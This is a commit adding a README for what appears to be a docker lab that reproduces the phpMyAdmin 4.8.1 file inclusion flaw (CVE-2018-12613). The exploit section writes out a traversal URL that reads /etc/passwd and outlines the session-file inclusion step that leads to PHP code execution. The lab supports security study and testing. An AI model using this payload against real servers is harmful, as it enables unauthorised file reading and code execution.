first commit

phpmyadmin/CVE-2018-12613/README.md

@@ -0,0 +1,30 @@
+# phpmyadmin 4.8.1 Remote File Inclusion Vulnerability (CVE-2018-12613)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. The vulnerability is in the `index.php`, causing  files iclusion vulnerabilitiy.
+
+Reference links:
+
+- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
+- https://www.phpmyadmin.net/security/PMASA-2018-4/
+
+## Setup
+
+Run the following command to start phpmyadmin 4.8.1:
+
+```
+docker compose up -d
+```
+
+After the environment starts, visit `http://your-ip:8080`. The phpmyadmin is "config" mode, so we can login directly.
+
+## Exploit
+
+Visit `http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`, the result indicates that the file inclusion vulnerability exist:
+
+![](1.png)
+
+We can execute `SELECT '<?=phpinfo()?>';`, then check your sessionid (the value of phpMyAdmin in the cookie), and then include the session file:
+
+![](2.png)